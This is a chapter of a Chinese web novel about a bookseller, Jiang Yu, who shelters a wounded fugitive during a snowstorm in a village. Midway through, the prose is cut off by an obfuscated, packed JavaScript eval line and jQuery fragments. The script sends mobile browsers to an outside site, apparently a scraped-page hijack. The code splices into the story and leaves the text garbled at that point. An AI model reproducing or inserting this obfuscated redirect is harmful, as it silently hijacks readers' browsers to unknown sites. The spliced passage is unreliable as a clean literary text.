飞雪漫天,已密密地下了三日。苍天一色,满目皆白。
一只黑狸,不知从哪处窜上石桥,趔趔趄趄,很惊恐地“喵呜”着往前方的巷口钻,身后绵延出一串浅浅的爪印。
“快找!”远处传来嘈杂的簌簌声。
忽而那爪印被一汪暖光照成橙亮亮的几片,又马上被几只大小不同的鞋踩乱。
鞋的主人各举着火把,急匆匆地穿过石桥后分成几波钻进了东西南北狭窄的巷子。
过了好一阵,脚步声远去,巷尾一扇木门被人犹豫着推开,探出一颗圆滚滚的黑色脑袋。黑狸见那门终于打开,灵巧地越过几顶水缸,嗖一下躲进了门中。
“谁让你这么晚回家!”
江玉掩上门,恨恨地去捉黑狸,将它抱在怀里拂去身上的雪点。
“你倒是玩去吧,被雪淋在外边不要回来了,我再也不管你!那些官员就是捉你来了,来捉你这坏猫!”
那黑狸似是真的被恐吓到,又怪叫一声跳到地上,撞开门窜了出去。
“真是反了天了,回来!想冻死么!”
这些日子里若是夜半出门,雪层映出的月光总像刀子一样钻进眸子里扎得人生疼。
然而当江玉慢慢将半眯着的眼睛睁开时,只看见满地的黑脚印,歪歪斜斜从狭窄的巷子蔓延到各条雪路,再铺展到很远处看不见光的地方,显得幽森而压抑。
寒风在巷子里乱撞,雪下得更大了。黑狸跑跑停停,故意等主人看到自己后又立马向别处跑去,玩似的逃出了巷子。
那狸终于不再跑了,跳到一扇巨大的破木板边叫喊着,见到主人寻过来,又躲进那木板和墙壁形成的三角里。
有窸窸窣窣的声音。
“喵呜!”
她俯下身向三角里看去,除了黑狸,只有一堆摆的乱七八糟的废草料,上面还沾着一些马粪。
忽然,一片沾着杂草的马粪掉了下来,差点砸到黑狸。
“真是见了鬼了,你跑来要吃粪不成,又不是狗!”
她俯身去捉猫,忽然那草料堆里伸出一只手,紧紧握住她的手腕。
是一个人!
这一定就是那个贼了!
江玉只愣了一秒,转身就往外边扑。那手却紧紧握着自己不肯放开。
话本子上都说,这些被官府追杀的贼人是最不容小觑的,他们背后通常都有不可告人的秘密,个个杀人如麻、心狠手辣。
今日她不慎被卷入其中,怕是就要交代在这里了。
江玉马上回忆起了话本里种种血腥的桥段,鼻子一酸。她十分懊悔地想到了那袋藏在床底老鼠洞里的碎银。如今她上没老下没小,拼搏半生到头来岂不是空欢喜一场?
这几月里,她日日起早贪黑、东奔西走到处贩书,刚好明日就能领到白花花的银子了,偏这老天如此不公,叫自己遇到这等混事。
她小心翼翼地扭着手腕,见那人还是没有要松手的意思,江玉几欲要开口求饶。
更多的草料随着声音抖落,“…咳……”
“你别出声!”江玉压着嗓子赶忙回去掩那张发出沙哑声音的嘴,又扭头确认周边无人后,挣扎着终于哽咽起来,“大侠,我绝不去报官,你放过我罢!”
那人艰难地咽着气,声音轻若蚊蝇:“别怕。”
“找到了!快过来!”
江玉大惊,冷静下来却听那声音离这里十分远,终于大舒一口气。
两人安静了一会儿,直到那些嘈杂的声音再也没有了,江玉咽了口气,轻声安抚:“你先放开我,你抓着我,我也没法帮你啊…”
那只手轻轻放开了。
趁现在,赶紧跑!
江玉伸手拎过猫塞进怀里就往外溜,抬头猛地撞到了木板,好不容易憋住的眼泪终于还是掉了下来,化成锋利的匕首在她脸上不住地划。
她来不及擦,边往家里狂奔,边盘算着这几月她贩书时的情形。关上房门,江玉喘着气倚在炕边,一番细想后确定没有疏漏,悬着的心终于像片羽毛从嗓子眼飘飘忽忽地荡进肚里,却连带着挠得肠子瘙痒不止。
前些日子她就已停了各位公子家的生意,不再往那些人家送用作科举舞弊的抄本。况且她做这一行向来稳妥,就算出事也有专人兜底,数年来从未有过失手。
渔阳村里一向太平安定,近年来又遇新官上任,暗地借口垄断了水利田产生意。大家各走各路,并不会惹出什么事端,这回怎么闹的这么大阵仗?
至于刚刚那个奇怪的人,从表面上看似乎与今日之事并没有什么关系。衣着朴素且浑身脏污,倒像是被人欺侮后无处可藏的破衣乞丐。
她心里一团乱,却耐不住困意,胡乱收拾后就躺下了。然而她总觉得肚里有块疙瘩,醒了又睡睡了又醒,翻来覆去被冻醒好几遭。
火盆逐渐冷了,江玉冻得直哆嗦,想了想后又强迫自己闭上眼。
她叹了口气,眼下怕是自身难保了,没空管什么乱七八糟的人。
将将入睡之际,一阵狂风突然打在门上,哐当一声吹了进来,刮得江玉头顶发毛。她起身把门奋力关上拴好,躲进被子后却始终感受不到身子回暖,再也睡不着了。
.
原计划出去捡点木头来烤火,回过神来时她已鬼使神差地走到了木板边。
大着胆子往里头一瞧,那人还在里面,半个身子裹了一层银白。
江玉钻进去拍了拍他的脸,满是污糟的脸庞没有一点血色,嘴唇冻得青紫。将手指搓热后去探鼻息,早已气若游丝。
肚里那根羽毛果然没有落稳,被这越下越大的风雪一吹,马上晃悠晃悠挠起来。那些官员虽早已抓了人打道回府,但这人身份尚未可知,她不能就这样贸然救他回去。
就让他自生自灭吧。
江玉咬牙预备离开,转身时脑海里忽然浮现出去年同样大雪纷飞的一个雪夜,她回家时,瞧见砖瓦堆边有一只被雪堆满半个身子的黑色狸猫。那天她毫不犹豫把它带了回家,取名小白。
不过这人若与此事有关,救回去后将他绑了,叫人仔细拷打一番,没准能套出些有用的话来。
况且看这伤势,他无论如何也奈何不了自己。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541718|171004||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
横竖也不亏。
江玉长舒一口气,呼出的气息凝成水雾被风一吹,又直直打在自己的脸上,刮起一层层皲裂的皮肤。她用身子用力地想把木板顶开,但尽管如何发力,那木板还是纹丝不动。
她搓了搓手,深吸一口气后艰难地往木板中间靠,双手用力一推。
“哐当!——”
木板终于倒下,雪立马迎面打上来,她马上去扒拉躲在草料堆里的那人,把他的手搬到自己肩上,起身几次后终于把他背了起来,趔趄着扶着墙摇摇晃晃地朝着家门走去。
.
到家时已觉得浑身暖和,背上的人却还是像尸体一般。江玉把他靠在灶台旁,小白马上凑上去窝在他肚子上,她欣慰点头,趁着身热转身又马上跑到外头空屋里抱木头。
烧好一锅滚水后那人还没醒,闭眼靠着墙,身体偶尔剧烈抖动一下,似乎是承受不了这熊熊燃烧的灶火。
火烤着木头,偶尔发出滋滋的声音。半个屋子都是暖色的光,黄黑的墙上映着两团影子。
她这才看清眼前的人,脸庞憔悴得像是被人一脚踹进炭盆里后饿了三天,本就凉薄的长相,被冻得几乎快没有了血色,打眼一看像是马上就要西去。
江玉皱着眉把他濡湿的上衣剥下来,只余一件破烂不堪的里衣。眼前到处是血痕,没伤的地方也是乱糟糟的青紫。
肯定不能把他就这么丢着不管,这么些伤若是化了脓,恐怕要更加麻烦。
“手脚能动吗?”
没有反应,伸手摸了摸额头,尚且没有发热,也许只是冻傻了。
江玉起身掀开锅盖,水汽瞬间氤氲开来扑在两人身上。那人忽然觉得浑身被火烤开了,关节处更是钻心一般火辣辣的疼痛。迷迷糊糊睁开眼急促呼吸起来。
江玉见他瑟缩的样子,说:“能动就说话,你这浑身都是伤,化脓了就糟了,我可没钱给你医治。”
那人意志终于有些清醒了,睁开眼空洞地望着江玉,像是还没缓过神来。他准备起身,却又支撑不住倒了下去,再也没了力气。
江玉欲哭无泪,只好上前嫌弃地替他剥光了衣服。只见他身量匀称,肌肉轮廓分明,虎背蜂腰。左肩胛骨上横着五道浅浅的平行疤痕。
果然有蹊跷,她心头一紧。
只是事已至此,只好硬着头皮先收留了他,等醒后问了话,就立马赶他走。
江玉胡乱将伤口冲洗一番后上了药,将他扔在草堆旁边就迷迷糊糊上床睡着了。
.
今日要去镇上抄书,虽没有规定点卯,但书肆离这里大概有五十里,冬日脚程慢,大约走两个半时辰才能赶到,只得天不亮就往外赶。
江玉从村子里摸黑出来,走到镇上时天已大亮了。
南街的路边小商铺已陆续开了张,她走到早餐铺边要了几个白菜馅的包子。
蒸笼打开的一瞬间,白色的热气就从狭小的铺面扑向街道,不断有赶早市的行人擦肩而过,随手挥去身边的白汽。
“哎,听说了没,昨晚上那位怪罪下来了,到处抓人呢!”